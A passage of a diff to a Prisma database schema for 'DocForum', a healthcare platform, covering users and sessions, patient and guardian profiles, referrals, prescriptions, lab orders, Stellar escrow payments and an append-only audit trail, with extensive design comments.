// The HTTP route that returned the payload (for correlating with access logs). - route String? - // Free-text detail β€” no PHI here, just context like "GET /appointments/mine". - detail String? - accessedAt DateTime @default(now()) - - accessedByUser User? @relation(fields: [accessedBy], references: [id], onDelete: SetNull) - patientProfile PatientProfile? @relation(fields: [patientProfileId], references: [id], onDelete: Cascade) - - @@index([accessedAt]) - @@index([accessedBy]) - @@index([patientProfileId, accessedAt]) - @@index([entityType, entityId]) -} - -// ========================================================================= -// Orders, Fulfillment Proofs, Disputes & Resolutions -// ========================================================================= - -model Order { - id String @id @default(uuid()) - orderType OrderType - patientProfileId String - facilityProfileId String? - prescribingDoctorId String? - details String? - status OrderStatus @default(issued) - - fulfilledAt DateTime? - - confirmed Boolean @default(false) - confirmationSource String? // 'patient' | 'timeout' - confirmedAt DateTime? - - disputed Boolean @default(false) - disputedAt DateTime? - - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id]) - facilityProfile FacilityProfile? @relation(fields: [facilityProfileId], references: [id]) - - fulfillmentProofs FulfillmentProof[] - disputes OrderDispute[] - - @@index([patientProfileId, status]) - @@index([facilityProfileId, status]) - @@index([status, confirmed, disputed]) -} - -model FulfillmentProof { - id String @id @default(uuid()) - orderId String - facilityProfileId String - referenceNumber String - attachmentUrl String? - notes String? - createdAt DateTime @default(now()) - - order Order @relation(fields: [orderId], references: [id], onDelete: Cascade) - facilityProfile FacilityProfile @relation(fields: [facilityProfileId], references: [id]) - - @@index([orderId]) - @@index([facilityProfileId]) -} - -model OrderDispute { - id String @id @default(uuid()) - orderId String - patientProfileId String - reason String - status DisputeStatus @default(pending) - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - order Order @relation(fields: [orderId], references: [id], onDelete: Cascade) - patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id]) - resolutions OrderDisputeResolution[] - - @@index([orderId]) - @@index([patientProfileId]) - @@index([status]) -} - -model OrderDisputeResolution { - id String @id @default(uuid()) - disputeId String - adminUserId String - resolutionNotes String - outcome String // e.g. 'upheld' | 'rejected' | 'refunded' - createdAt DateTime @default(now()) - - dispute OrderDispute @relation(fields: [disputeId], references: [id], onDelete: Cascade) - adminUser User @relation(fields: [adminUserId], references: [id]) - - @@index([disputeId]) - @@index([adminUserId]) -} - -// Below this line: Phase 0 structural placeholders, not yet implemented. -// See ROADMAP.md for phase order. -// ========================================================================= - -model IntakeForm { - id String @id @default(uuid()) - createdAt DateTime @default(now()) - // TODO: patientProfileId, symptoms (Json), freeTextNotes -} - -// Phase 3 (issue #5 minimal + lineage for #65): a Consultation is the -// record of a doctor having seen the patient at a specific appointment. -// `appointmentId` is the lineage seam β€” Referral.parentReferralId is -// derived through it (consultation β†’ appointment β†’ referral), which is -// what loop detection walks. Full consultation-note workflow (append-only -// addenda, sign-off) stays issue #4/#64's scope. -model Consultation { - id String @id @default(uuid()) - // unique = "a consultation is closed once per appointment", enforced by the - // database rather than by a read-then-write check (docs/adr/0009). - appointmentId String @unique - // Nullable so a consultation can exist before sign-off (Phase 3's referral - // slice); the close routes require it, so a closed record always has one. - outcome ConsultationOutcome? - // Clinical free text: stored as an AES-256-GCM envelope by - // consultations/services (issue #46 β€” ARCHITECTURE.md Β§4.3), never plaintext. - notes String? - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - // RESTRICT (Prisma's default for a required relation) is what the existing - // migration created: a clinical record must not disappear because an - // appointment row was deleted. - appointment Appointment @relation(fields: [appointmentId], references: [id]) - prescriptions Prescription[] - labOrders LabOrder[] - // Phase 3: the referrals that grew out of this consultation (the - // opposite side of Referral.sourceConsultationId). - referrals Referral[] -} - -// Phase 3 (issues #5/#65/#66/#67/#68). Snapshot rule (FR-7/FR-8, hard -// rule 3): `snapshotNotes` is a copy taken at creation, never a live -// reference β€” reassign/cancel/cascade never touch it. -model Referral { - id String @id @default(uuid()) - status ReferralStatus @default(pending) - patientProfileId String - // The consultation this referral grew out of. Required: every referral - // is created from a consultation (PRD FR-7), which is also what gives - // loop detection its lineage. - sourceConsultationId String - referringDoctorId String - // Always a concrete doctor: a "specialty, no specific doctor" referral - // is routed to one at creation (least-loaded eligible doctor β€” issue - // #6, docs/adr/0008). The column stays NOT NULL on purpose, so an - // unassigned referral cannot exist; when nobody is eligible the - // creation fails instead of writing a row. - targetDoctorId String - // Optional denormalised label of the target specialty, used by the - // loop guard and admin views. Not a substitute for issue #23's real - // per-doctor specialty management. - targetSpecialtyId String? - snapshotNotes String - // Issue #65: the referral whose appointment produced the consultation - // this referral came from β€” the chain loop detection walks (bounded). - parentReferralId String? - // Issue #67 bookkeeping: how many times a referral-origin appointment - // has no-showed, and the "the referring doctor must know" flag set - // when repeated no-shows expire the referral. Both live on the - // referral (not a Notification row) because Phase 6's dispatch layer - // doesn't exist yet β€” the flag is the seam it will read. - noShowCount Int @default(0) - referringDoctorNotifiedAt DateTime? - // Issue #65: set (with a reason naming the matching hop) when the - // target doctor/specialty was already in the ancestor chain β€” the - // referral is still created (a human decides), but surfaces in the - // admin queue. - loopFlaggedAt DateTime? - loopFlagReason String? - // Issue #68: admin-initiated cancellation carries its reason; the - // audit trail proper is the AuditEvent row written alongside. - cancelledReason String? - // The appointment this referral currently produced (null while - // pending/declined, or after a cancelled/no-showed appointment returns - // it to pending). Kept pointing at the last no-show when expired β€” - // that appointment is why it expired. - resultingAppointmentId String? @unique - // Issue #8: set together with status `expired` β€” when, and why. - expiredAt DateTime? - expiredReason ReferralExpiryReason? - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - sourceConsultation Consultation @relation(fields: [sourceConsultationId], references: [id]) - patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id]) - referringDoctor DoctorProfile @relation("ReferralReferringDoctor", fields: [referringDoctorId], references: [id]) - targetDoctor DoctorProfile @relation("ReferralTargetDoctor", fields: [targetDoctorId], references: [id]) - parentReferral Referral? @relation("ReferralLineage", fields: [parentReferralId], references: [id]) - childReferrals Referral[] @relation("ReferralLineage") - resultingAppointment Appointment? @relation("ReferralResultingAppointment", fields: [resultingAppointmentId], references: [id]) - // Every appointment this referral ever produced (including cancelled/ - // no-showed ones) β€” history survives the resultingAppointmentId link - // being cleared when the referral returns to pending. - appointments Appointment[] @relation("ReferralOriginatedAppointments") - - @@index([patientProfileId]) - @@index([referringDoctorId]) - @@index([targetDoctorId]) - @@index([status]) - @@index([status, updatedAt]) - @@index([loopFlaggedAt]) -} - -// Issue #68: who did what to a referral, when, and why. Deliberately NOT a -// second audit table: the append-only `AuditEvent` in this schema (Phase 8, -// issue #43) is the one audit trail, so referral admin actions are recorded -// as `entityType: 'Referral'` rows through the audit module -// (`auditService.record`) β€” same table, same triggers, same writer. - -model Prescription { - id String @id @default(uuid()) - consultationId String - patientProfileId String - prescribingDoctorId String - facilityProfileId String - amountStroops BigInt - status OrderStatus @default(issued) - supersedesPrescriptionId String? - createdAt DateTime @default(now()) - - consultation Consultation @relation(fields: [consultationId], references: [id]) - patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id]) - prescribingDoctor DoctorProfile @relation(fields: [prescribingDoctorId], references: [id]) - facilityProfile FacilityProfile @relation(fields: [facilityProfileId], references: [id]) - supersedes Prescription? @relation("PrescriptionCorrections", fields: [supersedesPrescriptionId], references: [id]) - correctedBy Prescription? @relation("PrescriptionCorrections") - items PrescriptionItem[] - paymentIntent PaymentIntent? - fulfillment FulfillmentRecord? - - @@unique([supersedesPrescriptionId]) - @@index([patientProfileId, createdAt]) - @@index([consultationId]) -} - -model PrescriptionItem { - id String @id @default(uuid()) - prescriptionId String - drugName String - dosage String - frequency String - duration String - - prescription Prescription @relation(fields: [prescriptionId], references: [id]) - - @@index([prescriptionId]) -} - -model LabOrder { - id String @id @default(uuid()) - consultationId String - patientProfileId String - orderingDoctorId String - facilityProfileId String - amountStroops BigInt - testType String - urgency Urgency @default(routine) - notes String? - status OrderStatus @default(issued) - supersedesLabOrderId String? - createdAt DateTime @default(now()) - - consultation Consultation @relation(fields: [consultationId], references: [id]) - patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id]) - orderingDoctor DoctorProfile @relation(fields: [orderingDoctorId], references: [id]) - facilityProfile FacilityProfile @relation(fields: [facilityProfileId], references: [id]) - supersedes LabOrder? @relation("LabOrderCorrections", fields: [supersedesLabOrderId], references: [id]) - correctedBy LabOrder? @relation("LabOrderCorrections") - result LabResult? - paymentIntent PaymentIntent? - fulfillment FulfillmentRecord? - - @@unique([supersedesLabOrderId]) - @@index([patientProfileId, createdAt]) - @@index([consultationId]) -} - -model LabResult { - id String @id @default(uuid()) - labOrderId String @unique - fulfillingFacilityId String - resultFileUrl String? - summary String? - createdAt DateTime @default(now()) - - labOrder LabOrder @relation(fields: [labOrderId], references: [id]) - fulfillingFacility FacilityProfile @relation(fields: [fulfillingFacilityId], references: [id]) -} - -/// Facility-side fulfillment state for one issued order. Kept separate from -/// the order so a facility never needs write access to the clinical record -/// (ARCHITECTURE.md Β§4.7, hard rule 5). -/// -/// Issue #13 / docs/adr/0012: the Phase 0 sketch here was polymorphic -/// (`orderType` + `orderId` TEXT). Both are replaced by real FKs β€” exactly one -/// of them is set, required by a PostgreSQL CHECK, and the UNIQUE on each -/// means an order can have at most one fulfillment row. Same discriminator -/// mechanism `PaymentIntent` adopted in issue #85. -/// -/// `facilityId` is copied from the order's own facility at creation (the -/// creating service in Phase 5 issue #14 owns that rule) so the facility's -/// queue is indexable on this table and ownership lives on the row the -/// facility writes. -model FulfillmentRecord { - id String @id @default(uuid()) - prescriptionId String? @unique - labOrderId String? @unique - facilityId String - status FulfillmentStatus @default(pending) - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - prescription Prescription? @relation(fields: [prescriptionId], references: [id], onDelete: Restrict) - labOrder LabOrder? @relation(fields: [labOrderId], references: [id], onDelete: Restrict) - facility FacilityProfile @relation(fields: [facilityId], references: [id], onDelete: Restrict) - - @@index([facilityId, status]) -} - -model Notification { - id String @id @default(uuid()) - type String - payload Json - readAt DateTime? - createdAt DateTime @default(now()) - // TODO: userId -} - -// --- Stellar payments (docforum-org split) ------------------------------- -// These two models hold relational metadata ONLY β€” amounts, status, tx -// hashes, public keys. No clinical/PHI field ever belongs here. The actual -// escrow contract logic lives in the sibling docforum-escrow repo and is -// called via the @docforum/escrow-sdk package from -// backend/src/modules/payments/services β€” never modeled or reimplemented -// in this schema. See docs/adr/0002-stellar-escrow-for-fulfillment-payout.md -// and docs/adr/0004-custodial-payments-v1.md. -// -// One of prescriptionId/labOrderId is required by a PostgreSQL check -// constraint. Amount and recipient are snapshotted from the issued order. - -enum PaymentIntentStatus { - created - // ADR 0005 steps 2-4: a prepared (unsigned) create_escrow transaction - // exists, then is being submitted with the patient's signature. The - // submit half is not built yet (issue #80 only covers prepare), so - // `submitting` is reserved by the state machine but not written today. - awaiting_signature - submitting - escrowed - released - refunded - failed -} - -model PaymentIntent { - id String @id @default(uuid()) - prescriptionId String? @unique - labOrderId String? @unique - status PaymentIntentStatus @default(created) - - prescription Prescription? @relation(fields: [prescriptionId], references: [id]) - labOrder LabOrder? @relation(fields: [labOrderId], references: [id]) - - patientProfileId String - // Explicit RESTRICT (was the Prisma default β€” same SQL): a payment record - // must outlive any account deletion (ADR 0010). - patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id], onDelete: Restrict) - facilityId String - facility FacilityProfile @relation(fields: [facilityId], references: [id]) - - // Amount in the smallest unit of `assetCode` (stroops for XLM, 7-decimal - // units for USDC) β€” matches @docforum/escrow-sdk's `amount: bigint` - // exactly. Renamed from `amountStroops` by issue #79; the migration is a - // plain column rename, so existing rows keep their value. This module - // never scales or converts amounts, so it never assumes an asset's - // decimals (the allowlist carries them for clients only). - amount BigInt - // The asset this intent is denominated in β€” `XLM` or `USDC` in the - // default testnet allowlist. Assets are identified on-chain by the SAC - // contract id, not by the code, so a new intent must name an allowlisted - // asset (see config.payments.assets and issue #79). - assetCode String - // The Stellar Asset Contract address the escrow pulls from. Nullable only - // for rows created before issue #79: those were funded against - // `ESCROW_TOKEN_ID` (native XLM), which the service falls back to when it - // sees a null here. New rows always store it. - tokenContractId String? - - // ADR 0005 step 2 (issue #80). `preparedTxHash` is the hash of the - // unsigned create_escrow transaction the patient must sign; - // `preparedXdr` lets a retry return exactly the same transaction instead - // of building a second one. Both are cleared when the preparation - // expires back to `created`. - preparedTxHash String? - preparedXdr String? - preparedExpiryLedger Int? - preparedExpiresAt DateTime? - // ADR 0005: escrow refund deadline = order expiry + grace. Orders don't - // exist as real records yet (Phase 4), so the service uses the intent's - // createdAt as the order-expiry anchor β€” see - // config.payments.orderExpiryHours / refundGraceHours. - refundAfter DateTime? - - // Which facility price list entry priced this intent (issue #127). The - // amount above is the snapshot; this code records *which* item it was for, - // so a later price change can be explained without re-deriving it. Null for - // intents priced from an admin-supplied amount. - catalogItemCode String? - - // Set once funded (create_escrow succeeds) β€” needed to later call - // release/refund against the right on-chain escrow. - escrowId BigInt? - stellarTxHash String? - // Which deployed contract this intent was funded against β€” this repo - // has already had two testnet contract IDs (Phase E1 vs. E2), so this - // isn't hypothetical. - sorobanContractId String? - - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - @@index([facilityId]) - @@index([status]) - @@index([status, preparedExpiresAt]) -} - -// ADR 0005 step 1: a patient's verified Stellar address, used as the payer -// of a non-custodial escrow. Verification is SEP-10 (a signed challenge), -// not the type-the-address form used for facilities β€” but the SEP-10 -// endpoints are not built yet, so nothing in this repo creates these rows -// today. Prepare (issue #80) requires one and returns 409 WALLET_NOT_LINKED -// otherwise. Deliberately a separate model from WalletLink: that one is -// the facility payee (unique per facility), this one is the patient payer -// (unique per patient), and conflating the two would make a facility's -// payout address eligible as a patient payer. -model PatientWalletLink { - id String @id @default(uuid()) - patientProfileId String @unique - stellarPublicKey String - verifiedAt DateTime - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id], onDelete: Cascade) -} - -// SEP-10 (Stellar Web Authentication) challenge issuance ledger β€” -// one row per issued challenge, created by GET /payments/sep10/challenge -// and redeemed exactly once by POST /payments/sep10/verify (issue #77, -// ADR 0005 step 4: proving the caller controls a Stellar address before -// it is ever trusted as payer or payee). -// -// The nonce is the random 64-byte value embedded in the challenge -// transaction's `" auth"` Manage Data operation. Storing it -// (unique) is what makes a challenge single-use: verify consumes the row -// with ONE conditional UPDATE (`consumedAt IS NULL AND expiresAt > now`), -// so two concurrent replays can't both win β€” the same DB-level pattern -// as booking's conditional slot update (ARCHITECTURE.md Β§5.1). -// -// Deliberately no other fields: no XDR, no signature, no PHI. The -// challenge itself is re-derivable from the submitted XDR at verify -// time; this table only proves "we issued this nonce to this user for -// this account, it hasn't been used, and it hasn't expired." -model Sep10Challenge { - id String @id @default(uuid()) - userId String - account String // the G... (or M...) account the challenge was issued for - nonce String @unique // hex/utf8 nonce from the challenge's Manage Data op - expiresAt DateTime // matches the challenge's timebounds maxTime (+ record TTL) - consumedAt DateTime? - createdAt DateTime @default(now()) - - user User @relation(fields: [userId], references: [id], onDelete: Cascade) - - // Pruning and the "is this row still redeemable" check both scan by - // expiry β€” same reason LoginAttempt indexes its window. Lookups at - // verify time go through the unique `nonce` index. - @@index([expiresAt]) -} - -model WalletLink { - id String @id @default(uuid()) - // Scoped to the facility being paid, not the patient β€” v1 is a - // custodial model (docforum-core funds escrows from its own platform - // Stellar identity; patients never hold or sign with a wallet here). - // See ADR 0004. - facilityId String @unique - facility FacilityProfile @relation(fields: [facilityId], references: [id], onDelete: Cascade) - - stellarPublicKey String - - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt -} - -// Soroban event ingestion (issue #86). Cursors are per contract deployment; -// persisted events are immutable observations used for reconciliation/alerts. -enum EscrowChainEventState { - pending - matched - unmatched -} - -model EscrowEventCursor { - contractId String @id - startLedger Int - cursor String? - lastLedger Int? - catchupError String? - updatedAt DateTime @updatedAt -} - -model EscrowChainEvent { - id String @id @default(uuid()) - eventId String - contractId String - ledger Int - txHash String? - escrowId BigInt? - eventType String - state EscrowChainEventState @default(pending) - paymentIntentId String? - payload Json? - detectedAt DateTime @default(now()) - alertedAt DateTime? - - @@unique([contractId, eventId]) - @@index([state, detectedAt]) - @@index([contractId, ledger]) -} - -// --- Audit trail (Phase 8, issue #43) ------------------------------------- -// One row per state transition on a record that matters for clinical, -// legal or financial accountability (PRD Β§7: "who, when"). Written by the -// audit module's record(), always inside the same transaction as the -// change it describes β€” if the change rolls back, so does its event. -// -// APPEND-ONLY. There is no update or delete path in code, and a database -// trigger (see the add_audit_event migration) rejects UPDATE, DELETE and -// TRUNCATE outright. Deliberately no foreign keys: an FK's ON DELETE action -// would have to rewrite or remove audit rows (which the trigger forbids), -// and RESTRICT would let the audit trail block account lifecycle. Ids are -// recorded as facts about the past. -// -// No PHI, ever: `metadata` is a small flat map of ids/codes validated by -// record() β€” never names, contact details, DOB, intake text, or copies of -// request/response bodies. -model AuditEvent { - id String @id @default(uuid()) - // Null only for system-initiated transitions (none exist yet). - actorUserId String? - actorRole Role? - // e.g. 'Appointment', 'DoctorProfile', 'PaymentIntent'. - entityType String - entityId String - // e.g. 'appointment.booked', 'payment_intent.released'. - action String - fromState String? - toState String? - // X-Request-Id of the HTTP request that caused it (src/middleware/request-id.ts). - requestId String? - metadata Json? - createdAt DateTime @default(now()) - - @@index([entityType, entityId, createdAt]) - @@index([actorUserId, createdAt]) - @@index([createdAt, id]) -} +// schema.prisma β€” DocForum canonical data model +// SOURCE OF TRUTH: if this file and ARCHITECTURE.md Β§4 disagree, fix ARCHITECTURE.md +// to match this file (or vice versa) in the same PR β€” see AGENTS.md. +// +// STATUS: Phase 1 models (User/PatientProfile/DoctorProfile/FacilityProfile/ +// Specialty/DoctorSpecialty/FacilityCapability/AvailabilitySlot/Appointment) +// are fleshed out and migrated. Everything below the Phase 1 marker is still +// the Phase 0 structural placeholder β€” see ROADMAP.md. + +generator client { + provider = "prisma-client-js" +} + +// Phase 8, issue #47: Prisma 7 no longer accepts `url` in the datasource +// block β€” the connection is configured in prisma.config.ts (for the CLI: +// migrate/generate/diff) and passed to PrismaClient as a driver adapter at +// runtime (see src/db/prisma-client.ts). +datasource db { + provider = "postgresql" +} + +enum Role { + patient + doctor + facility + admin +} + +enum VerificationStatus { + pending + verified + rejected +} + +enum FacilityType { + lab + pharmacy +} + +enum CapabilityType { + lab_test + medication_dispense +} + +enum SlotStatus { + open + held + booked +} + +enum AppointmentStatus { + scheduled + completed + cancelled + no_show +} + +enum AppointmentOrigin { + direct_booking + referral +} + +enum ConsultationOutcome { + resolved + referred + follow_up_needed +} + +enum ReferralStatus { + pending + accepted + declined + completed + expired + // Admin-initiated termination (issue #68) β€” distinct from `expired` + // (the cascade gave up after repeated no-shows) and `declined` (the + // patient said no) so audit/metrics can tell the three exits apart. + cancelled +} + +// Why a referral reached the terminal `expired` state. Kept separate from +// `status` so `expired` stays one state (and stays distinct from `declined` +// and `cancelled`) while audit/metrics/notifications can still tell the two +// ways in apart: `ttl` = nobody accepted/declined it in time (issue #8), +// `no_show` = the cascade gave up after repeated no-shows (issue #67). +enum ReferralExpiryReason { + ttl + no_show +} + +enum OrderStatus { + issued + fulfilled + expired + superseded +} + +enum OrderType { + pharmacy + lab +} + +enum DisputeStatus { + pending + resolved +} + +enum FulfillmentStatus { + pending + in_progress + fulfilled + rejected +} + +enum Urgency { + routine + urgent +} + +// ========================================================================= +// Phase 1 models β€” identity, DB, safe booking foundation. See ROADMAP.md. +// ========================================================================= + +model User { + id String @id @default(uuid()) + email String @unique + phone String? + passwordHash String + role Role + // Phase 8 (issue #34): null = never verified. Self-serve signup leaves + // this null; existing rows were backfilled to `createdAt` in the + // add_email_verification migration. Distinct from + // DoctorProfile.verificationStatus, which is the separate, manual + // admin verification of a doctor's credentials β€” do not conflate. + emailVerifiedAt DateTime? + // Phase 9, issue #133: server-generated text preference. Values are + // normalized to a supported language tag at signup; unsupported tags + // fall back to English. + locale String @default("en") + // Phase 8 (issue #39): null = active. Deactivating never deletes anything + // β€” no clinical or payment record is keyed to this flag, and none of the + // deactivation paths remove rows. Login, refresh and access tokens are all + // refused while this is set. + deactivatedAt DateTime? + // Phase 8 (issue #39): bumped when an account is deactivated/reactivated, + // so access tokens minted before that moment stop working immediately + // instead of living out their 15-minute TTL. There is still no general + // refresh-token revocation list (issue #18) β€” this is the narrow "revoke + // everything for one account" case that deactivation needs. + sessionsInvalidatedAt DateTime? + // Per-user refresh-token version. Embedded in every access/refresh token + // as `tv` and compared against this column at refresh time. Bumping it + // (password reset, Phase 8 #33) invalidates every outstanding refresh + // token for the user, since none of them carry the new value β€” the + // interim kill switch issue #33 asked for while #18 doesn't exist yet. + tokenVersion Int @default(0) + // Phase 8 (issue #41, docs/adr/0010): set once, irreversibly, when the + // account is deleted. The row is anonymised in place (email tombstoned, + // phone cleared, password unusable) rather than deleted, because clinical + // and payment records still reference its patient profile. Refresh is + // refused once set. Distinct from admin deactivation (#39), which is + // reversible. + deletedAt DateTime? + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + patientProfile PatientProfile? + doctorProfile DoctorProfile? + facilityProfile FacilityProfile? + refreshSessions RefreshSession[] + + emailVerificationTokens EmailVerificationToken[] + passwordResetTokens PasswordResetToken[] + adminInvitesSent AdminInvite[] + // Phase 8 (issue #45): PHI read-access log rows this user wrote (as viewer). + // Opposite of AccessLog.accessedByUser. + accessLogs AccessLog[] + // Phase 8 (issue #42, docs/adr/0011): dependents this user is guardian of. + guardianships Guardianship[] + orderDisputeResolutions OrderDisputeResolution[] + sep10Challenges Sep10Challenge[] + + @@index([role]) +} + +// Phase 8 (issue #34): hashed, single-use, expiring email-verification +// tokens. Only the SHA-256 hash is persisted β€” a database leak must not +// hand out working verification links. One row per issued token so a +// resend can be rate-limited against the most recent `createdAt`. +model EmailVerificationToken { + id String @id @default(uuid()) + userId String + tokenHash String @unique + expiresAt DateTime + consumedAt DateTime? + createdAt DateTime @default(now()) + + user User @relation(fields: [userId], references: [id], onDelete: Cascade) + + @@index([userId]) +} + +// Password reset tokens (Phase 8 #33). Only the SHA-256 hash of the +// token is ever stored β€” the raw token exists exactly once, in the +// notification that carries the reset link, and is never logged or +// persisted. Single-use (`usedAt`) and expiring (`expiresAt`). +model PasswordResetToken { + id String @id @default(uuid()) + userId String + user User @relation(fields: [userId], references: [id], onDelete: Cascade) + // SHA-256 hex of the raw token. Unique so lookup-by-hash is a single + // indexed read, and a duplicate hash (astronomically unlikely) is a + // constraint violation rather than a silent overwrite. + tokenHash String @unique + expiresAt DateTime + // Non-null once used or superseded by a newer request β€” either way the + // token is dead. Requesting a second reset marks the first one used. + usedAt DateTime? + createdAt DateTime @default(now()) + + @@index([userId]) +} + +model AdminInvite { + id String @id @default(uuid()) + email String + tokenHash String @unique + expiresAt DateTime + consumedAt DateTime? + invitedByUserId String + createdAt DateTime @default(now()) + + invitedBy User @relation(fields: [invitedByUserId], references: [id], onDelete: Cascade) + + @@index([email]) +} + +// Phase 8 (issue #35): login-throttle state. Deliberately in Postgres and +// not in process memory β€” the backend runs as a single Render instance +// today but must not assume that forever, and a restart must not hand an +// attacker a fresh budget. One row per (scope, key) bucket, where scope is +// `email` (normalised address) or `ip` (client IP, after the proxy chain is +// resolved β€” see TRUST_PROXY in src/config/index.ts). +// +// Counters are only ever moved by a single conditional upsert (see +// auth/repositories `recordFailedLoginAttempt`), never read-then-write: two +// concurrent bad logins for the same account must both be counted. +model LoginAttempt { + id String @id @default(uuid()) + scope String // 'email' | 'ip' + key String // normalised email, or client IP + failedCount Int @default(0) + // Start of the current sliding window; a failure outside the window + // restarts the count at 1 instead of accumulating forever. + windowStart DateTime @default(now()) + lastFailedAt DateTime @default(now()) + // Set once this bucket has hit the lock threshold; cleared by a + // successful login, an admin clear, or the start of a new window. + lockUntil DateTime? + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + @@unique([scope, key]) + @@index([lastFailedAt]) +} + +// One row per refresh-token *family*, i.e. per login. This is the +// revocation store session management needs (Phase 8 #38) and the shape +// issue #18's refresh-token revocation wanted: the refresh JWT carries +// `sid`, and a refresh is only honoured while the row exists with +// `revokedAt` still null. +// +// Collecting a coarse IP and user agent here is deliberate β€” it is what +// makes "sign out that other device" usable. Nothing clinical or +// identifying beyond what the request itself already carried. +model RefreshSession { + id String @id @default(uuid()) + userId String + user User @relation(fields: [userId], references: [id], onDelete: Cascade) + + createdAt DateTime @default(now()) + // Updated on refresh only β€” never on every access-token-authenticated + // request, so this doesn't become a write hot-spot on the User row. + lastUsedAt DateTime @default(now()) + revokedAt DateTime? + + userAgent String? + ip String? + + @@index([userId]) + @@index([userId, revokedAt]) +} + +model PatientProfile { + id String @id @default(uuid()) + // Null for a dependent (Phase 8, issue #42, docs/adr/0011): a + // guardian-owned profile with no login of its own. Still unique, so a + // login owns at most one profile. A DB CHECK (see the + // guardian_dependent_profiles migration) requires dateOfBirth whenever + // userId is null β€” the age-of-majority rule depends on it. + userId String? @unique + fullName String + dateOfBirth DateTime? + // Phase 8 (issue #41, docs/adr/0010): set when the owner deleted their + // account. fullName/dateOfBirth are anonymised at the same moment; the row + // itself stays so appointments and payments keep their foreign key. + // getMyPatientProfile refuses an anonymised profile. + anonymizedAt DateTime? + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + // RESTRICT, not CASCADE (issue #41): a patient's User row is never + // hard-deleted while this profile exists β€” deletion is anonymisation + // (ADR 0010), and an accidental user delete must fail loudly rather than + // take the clinical identity anchor with it. Optional since issue #42: a + // dependent profile has no login. + user User? @relation(fields: [userId], references: [id], onDelete: Restrict) + appointments Appointment[] + paymentIntents PaymentIntent[] + prescriptions Prescription[] + labOrders LabOrder[] + dataExports PatientExport[] + // Phase 3: the referrals this patient is the subject of (the opposite + // side of Referral.patientProfileId). + referrals Referral[] + // ADR 0005 step 1 (issue #80): the patient's verified Stellar payer + // address, when one has been linked. Optional because linking is a + // separate flow that nothing creates rows for yet. + walletLink PatientWalletLink? + + // Phase 8 (issue #45): who viewed this patient's records. + accessLogs AccessLog[] + + // Phase 8 (issue #42, docs/adr/0011): guardians of this (dependent) profile. + guardians Guardianship[] + orders Order[] + orderDisputes OrderDispute[] +} + +// Phase 8 (issue #40): right-of-access export jobs. One row per request; +// the generated bundle itself lives in PatientExportChunk (below), not in +// this row. Lifecycle: pending -> processing -> ready -> expired, or +// -> failed. A job only moves forward through conditional UPDATEs +// (`WHERE status = ...`), the same shape as the booking guarantee, so two +// workers can never both generate one export. +enum PatientExportStatus { + pending + processing + ready + failed + expired +} + +model PatientExport { + id String @id @default(uuid()) + // The owner. Every read is scoped by this, never by the export id alone. + patientProfileId String + status PatientExportStatus @default(pending) + // Bundle format version actually written (set when generation starts). + schemaVersion Int? + // Fencing token: incremented on every claim. Chunks are keyed by it, and + // the final `ready` transition is conditional on it, so a worker whose + // claim went stale can never publish a half-written or superseded bundle. + attempt Int @default(0) + startedAt DateTime? + generatedAt DateTime? + // Set when the job becomes `ready`; downloads are refused at or after it + // even if the cleanup job hasn't run yet. + expiresAt DateTime? + sizeBytes Int? + // How many chunks the published attempt wrote. A download that finds + // fewer (cleanup ran mid-stream) aborts instead of handing out a + // silently truncated JSON document. + chunkCount Int? + // Machine-readable failure only (e.g. SECTION_FAILED + section name) β€” + // never an exception message, which could echo patient data. + failureCode String? + failedSection String? + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id], onDelete: Cascade) + chunks PatientExportChunk[] + + @@index([patientProfileId, createdAt]) + @@index([status, expiresAt]) +} + +// The export bundle, stored as ordered text chunks of one JSON document +// (issue #40). Written incrementally while sections are paged, read back +// one chunk at a time on download, so neither side ever holds a whole +// patient history in memory. Kept in Postgres rather than object storage +// because no object-storage provider is integrated yet (ARCHITECTURE.md Β§2 +// and Β§6.3.4) β€” only patients/repositories reads or writes it, so moving to +// S3 later replaces that storage seam, not the export design. +model PatientExportChunk { + exportId String + attempt Int + seq Int + data String + + export PatientExport @relation(fields: [exportId], references: [id], onDelete: Cascade) + + @@id([exportId, attempt, seq]) +} + +// Phase 8 (issue #42, docs/adr/0011): replaces the unenforced +// PatientProfile.guardianUserId string. A guardian (a patient User) owns a +// dependent PatientProfile they created; there is deliberately no way to +// link an existing profile. Active = revokedAt is null AND the dependent is +// under AGE_OF_MAJORITY_YEARS (checked at request time from the DOB β€” no +// job flips anything). Never deleted: ending a guardianship sets revokedAt, +// so who had access, and when, stays on record. +model Guardianship { + id String @id @default(uuid()) + guardianUserId String + dependentProfileId String + createdAt DateTime @default(now()) + revokedAt DateTime? + + guardian User @relation(fields: [guardianUserId], references: [id], onDelete: Restrict) + dependentProfile PatientProfile @relation(fields: [dependentProfileId], references: [id], onDelete: Restrict) + + // One row per (guardian, dependent) pair β€” no duplicate or ambiguous + // relationships. More than one guardian per dependent is allowed by the + // model (two parents), though v1's API only creates one. + @@unique([guardianUserId, dependentProfileId]) + @@index([dependentProfileId]) +} + +model DoctorProfile { + id String @id @default(uuid()) + userId String @unique + fullName String + verificationStatus VerificationStatus @default(pending) + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + user User @relation(fields: [userId], references: [id], onDelete: Cascade) + specialties DoctorSpecialty[] + availabilitySlots AvailabilitySlot[] + appointments Appointment[] + prescriptions Prescription[] + labOrders LabOrder[] + // Referral sides a doctor can sit on: `referringReferrals` are ones + // they created; `targetedReferrals` are ones aimed at them (whether + // they ultimately see the patient or not). + referringReferrals Referral[] @relation("ReferralReferringDoctor") + 